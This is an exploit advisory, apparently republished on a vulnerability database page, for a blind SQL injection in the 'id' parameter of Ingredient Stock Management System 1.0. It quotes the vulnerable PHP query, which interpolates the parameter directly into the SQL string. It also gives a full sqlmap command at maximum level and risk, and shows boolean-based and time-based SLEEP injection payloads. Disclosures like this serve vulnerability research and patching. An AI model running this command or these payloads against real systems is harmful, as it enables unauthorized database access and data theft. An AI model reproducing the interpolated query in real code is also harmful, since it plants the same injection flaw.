Lucene search
K

Ingredient Stock Management System 1.0 SQL Injection

🗓️ 30 May 2022 00:00:00Reported by Saud AlenaziType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 333 Views

Ingredient Stock Management System 1.0 SQL Injection via 'id' paramete

Code
`# Exploit Title: Ingredient Stock Management System v1.0 - 'id' Blind SQL Injection  
# Date: 28/05/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: XAMPP, Linux  
  
  
  
Description :  
----------------------  
  
Ingredient Stock Management System 1.0 allows SQL Injection via parameter 'id' in  
/isms/admin/stocks/view_stock.php. Exploiting this issue could allow an attacker to compromise  
the application, access or modify data, or exploit latent vulnerabilities  
in the underlying database  
  
  
# Vulnerable Code :  
  
line 74 in file "/isms/admin/stocks/view_stock.php"  
  
$stockins = $conn->query("SELECT * FROM `stockin_list` where item_id = '{$id}' order by date(`date`) asc");  
  
# Sqlmap command:  
  
sqlmap -u 'http://localhost/isms/admin/?page=stocks/view_stock&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta  
  
# Output:  
  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: page=stocks/view_stock&id=1' AND 1902=1902 AND 'yluX'='yluX  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=stocks/view_stock&id=1' AND (SELECT 6709 FROM (SELECT(SLEEP(5)))gZCj) AND 'vMqP'='vMqP  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 May 2022 00:00Current
0.3Low risk
Vulners AI Score0.3
333